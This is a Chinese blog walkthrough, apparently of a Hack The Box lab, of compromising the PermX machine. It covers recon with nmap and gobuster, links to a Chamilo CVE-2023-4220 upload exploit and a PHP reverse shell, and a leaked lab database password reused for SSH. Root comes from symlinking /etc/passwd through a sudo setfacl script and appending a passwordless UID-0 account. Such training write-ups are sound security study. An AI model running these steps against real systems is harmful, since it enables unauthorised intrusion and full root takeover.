首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

HTB-Permx靶机笔记

编程知识
2024年08月11日 09:27

Permx靶机笔记

概述

permx靶机是HTB的简单靶机,这台靶机整体考验渗透人员的信息搜集能力,可以收只有信息搜集的快速,才能快速拿到它的flag。

整体是比较简单的靶机

靶机连接:https://app.hackthebox.com/machines/PermX

一、nmap扫描

1)端口扫描
nmap -sT --min-rate 10000 -p- -o ports 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up (2.4s latency).
Not shown: 65495 filtered tcp ports (no-response), 38 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue Aug  6 09:44:09 2024 -- 1 IP address (1 host up) scanned in 327.15 seconds
2)详细信息扫描
nmap -sT -sV -sC -O -p22,80 -o detail 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up (2.7s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e25c5d8c473ed872f7b4800349866def (ECDSA)
|_  256 1f41028e6b17189ca0ac5423e9713017 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 4.15 - 5.6 (93%), Linux 5.4 (93%), Linux 3.8 (92%), QNAP QTS 4.0 - 4.2 (92%), Linux 5.3 - 5.4 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug  6 09:57:53 2024 -- 1 IP address (1 host up) scanned in 133.37 seconds

看到``http-title: Did not follow redirect to http://permx.htb`

我们去/etc/hosts文件中绑定域名

sudo vi /etc/hosts

image-20240810220919290

10.10.11.23 permx.htb写进去

二、访问web

http://permx.htb
image-20240810221125311

开始爆破子域名

sudo gobuster dns -d permx.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt                            
[sudo] kali 的密码:                                                                                                               
===============================================================                                                                    
Gobuster v3.6                                                                                                                      
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                      
===============================================================                                                                    
[+] Domain:     permx.htb                                                                                                          
[+] Threads:    10                                                                                                                 
[+] Timeout:    1s                                                                                                                 
[+] Wordlist:   /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt                                                  
===============================================================                                                                    
Starting gobuster in DNS enumeration mode                                                                                          
===============================================================                                                                    
Found: lms.permx.htb

Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

看到结果lms.permx.htb

同样写到/etc/hosts文件中,打开浏览器进行访问。

一个登录窗口,应该是cms。网上找一下有没有漏洞公开信息。同时进行目录爆破,看有没有一些页面信息。

image-20240810221500886
1)目录爆破
sudo gobuster dir -u http://lms.permx.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================                 
Gobuster v3.6                                                           
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)         
===============================================================             
[+] Url:                     http://lms.permx.htb                                              
[+] Method:                  GET                                                      
[+] Threads:                 10                                                                
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt        
[+] Negative Status codes:   404                                                                
[+] User Agent:              gobuster/3.6                                                      
[+] Timeout:                 10s                                                                
===============================================================                                  
Starting gobuster in directory enumeration mode                                                   
===============================================================                                                                    
/main                 (Status: 301) [Size: 313] [--> http://lms.permx.htb/main/]                                                   
/web                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/web/]                                                    
/documentation        (Status: 301) [Size: 322] [--> http://lms.permx.htb/documentation/]                                          
/bin                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/bin/]                                                    
/src                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/src/]                                                    
/app                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/app/]                                                    
/vendor               (Status: 301) [Size: 315] [--> http://lms.permx.htb/vendor/]                                                 
/LICENSE              (Status: 200) [Size: 35147]                                                                                  
/plugin               (Status: 301) [Size: 315] [--> http://lms.permx.htb/plugin/]                                                 
/certificates         (Status: 301) [Size: 321] [--> http://lms.permx.htb/certificates/]                                           
Progress: 39913 / 220561 (18.10%)                                                                                                  
/custompages          (Status: 301) [Size: 320] [--> http://lms.permx.htb/custompages/]                                            
/server-status        (Status: 403) [Size: 278] 
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

也没什么有用的路径泄露出来

2)CVE搜索

找到了一个文件上传的漏洞CVE-2023-4220

exploit:https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit

php-reverse-shell:https://pentestmonkey.net/tools/web-shells/php-reverse-shell

三、获得立足点

两个文件下载下来

image-20240810224429389

修改一下reverse.php文件的ip地址和端口

image-20240810224614205

chmod +x chamilo-exp.sh 

image-20240810225104861

成功获得立足点

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-color # 可以用clear清屏

我们在用户目录下发现了mtz用户

image-20240811091221849

四、获得mtz用户权限

find / -name configuration.php 2> /dev/null

image-20240810230645721

找到了chamilo的配置文件,去打开看看

cat /var/www/chamilo/app/config/configuration.php    
cat /var/www/chamilo/plugin/sepe/src/configuration.php

在app目录下的配置文件中,我们看到了数据库的用户名和密码

image-20240811085230001

我们连接数据库

mysql -u chamilo -p03F6lY3uXAP2bkW8

image-20240811090312379

成功进入数据库

image-20240811091257164

这里有admin和password的hash值

用hashcat等工具尝试破解hash值,可惜一无所获

我们想一下,这个数据库的密码03F6lY3uXAP2bkW8 会不会和它ssh用户mtz的密码一样呢 尝试一下

sudo ssh mtz@10.10.11.23

03F6lY3uXAP2bkW8

image-20240811091828783

image-20240811092014149

发现用户flag

五、提权到root

sudo -l 看到有一个脚本

image-20240811092307992

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

因为文件是不可写的,我们只能审计一下这个脚本文件,看看能不能完成提权了。

这里阻止了一些恶意的操作,我们可以尝试链文件

mtz@permx:~:$ ln -s /etc/passwd /home/mtz/test
mtz@permx:~:$ sudo /opt/acl.sh mtz rw /home/mtz/test
mtz@permx:~:$ echo "lingx5::0:0:lingx5:/root:/bin/bash" >> ./test
mtz@permx:~:$ su lingx5

root@permx:/home/mtz:#

image-20240811100517163

成功拿到root的flag

总结

  1. 我们用nmap扫描,探测出了目标服务有http和ssh服务,对http服务进行子域名枚举,在它的旁站中,我们发现他是一个cms的架构
  2. 在github上找到了chamilo框架的CVE-2023-4220漏洞,根据github上的教程利用exp,成功后的了www-data用户权限。
  3. 在chamilo框架的配置文件中,我们发现mysql数据库的配置信息,可以成功登陆数据库,但是admin的密码是hash值很难破解。
  4. 我们想到mysql和ssh会不会存在撞库的可能(两者密码是一样的),我们在home目录下发现mtz用户,尝试ssh连接,成功获得mtz用户的权限
  5. 在mtz的sudo列表中看到了/opt/acl.sh文件,通过对shell脚本的审计,我们发现这个脚本可以给/home/mtz/*的文件赋权限,由此我们利用软连接的方式,获得/etc/passwd的写权限,成功提权到root。
From:https://www.cnblogs.com/LING5/p/18353142
本文地址: http://shuzixingkong.net/article/981
0评论
提交 加载更多评论
其他文章 spring-boot-starter
spring-boot-starter 是 Spring Boot 提供的一系列启动器(Starters),这些启动器是预配置的依赖项集合,用于快速引入常见的 Spring 功能。启动器的目的是简化项目的依赖管理,使开发者可以更方便地集成和使用 Spring 的各种功能。 常见的 Spring Bo
上云避坑指南
我在之前的文章《云计算-虚拟化-OpenStack》里聊过,云计算的本质是一种IT资源通过虚拟化进行的共享,是一种更高维度的服务。云计算的本质就俩词:共享、服务。 1、建议企业上云 作为一个IT行业14余年的老杆子,亲自主导过几个公司的中大型系统从IDC机房迁移上云。上云这个事情,是必然趋势,而且我
上云避坑指南 上云避坑指南 上云避坑指南
全网最适合入门的面向对象编程教程:35 Python的内置数据类型-文档字符串和__doc__属性
在 Python 中,文档字符串(Docstring)是一种用于为模块、类、方法或函数编写文档的字符串,通常放置在定义的开头,紧跟在声明之后。文档字符串使用三重引号(''' 或 ''')包围,可以跨越多行。
全网最适合入门的面向对象编程教程:35 Python的内置数据类型-文档字符串和__doc__属性 全网最适合入门的面向对象编程教程:35 Python的内置数据类型-文档字符串和__doc__属性 全网最适合入门的面向对象编程教程:35 Python的内置数据类型-文档字符串和__doc__属性
散知识点总结(持更)
有一些小 trick,专门用一整篇博客来写不太合适,所以都放在这里吧。 逆序对 考试的时候树状数组做法显然比其他的都好写。 考虑每个元素对答案的贡献,我们需要知道在它之前有多少元素比它大。 我们只需要维护一个权值树状数组,在枚举到 \(i\) 的时候查询当前树状数组中的元素有多少比它大,为了方便处理
FFmpeg开发笔记(四十六)利用SRT协议构建手机APP的直播Demo
​不管是传统互联网还是移动互联网,实时数据传输都是刚需,比如以QQ、微信为代表的即时通信工具,能够实时传输文本和图片。其中一对一的图文通信叫做私聊,多对多的图文通信叫做群聊。 除了常见的图文即时通信,还有实时音视频通信,比如一对一的音频通话、一对一的视频通话等等,此时可采用WebRTC技术,有关We
FFmpeg开发笔记(四十六)利用SRT协议构建手机APP的直播Demo FFmpeg开发笔记(四十六)利用SRT协议构建手机APP的直播Demo FFmpeg开发笔记(四十六)利用SRT协议构建手机APP的直播Demo
横扫鸿蒙弹窗乱象,SmartDialog出世
前言 但凡用过鸿蒙原生弹窗的小伙伴,就能体会到它们是有多么的难用和奇葩,什么AlertDialog,CustomDialog,SubWindow,bindXxx,只要大家用心去体验,就能发现他们有很多离谱的设计和限制,时常就是一边用,一边骂骂咧咧的吐槽 实属无奈,就把鸿蒙版的SmartDialog写
横扫鸿蒙弹窗乱象,SmartDialog出世 横扫鸿蒙弹窗乱象,SmartDialog出世 横扫鸿蒙弹窗乱象,SmartDialog出世
Java数组小白版
一、数组概念 一、数组定义 数组就是指在计算机内存中开辟的连续存储空间,用于存放程序运行中需要用到的一组相同类型数据的容器。 二.数组的声明 +数组的长度 定义数组时需要确定数组的长度(元素的个数),确定后不能更改; 获取数组长度:数组名.length 1. 格式1(默认初始值) 数据类型 [ ]
Java方法小白版
一、方法的定义 方法就是 将功能重复的代码封装成一段独立的代码,通过调用方法的方式 (作用)提高代码的复用性(减少代码重复)。 每一个方法只能完成一个功能。 二、方法的声明格式 [修饰符1,修饰符2] 返回值类型 方法名 (参数类型 形式参数1,参数类型 形式参数2,...){ 执行语句块; ret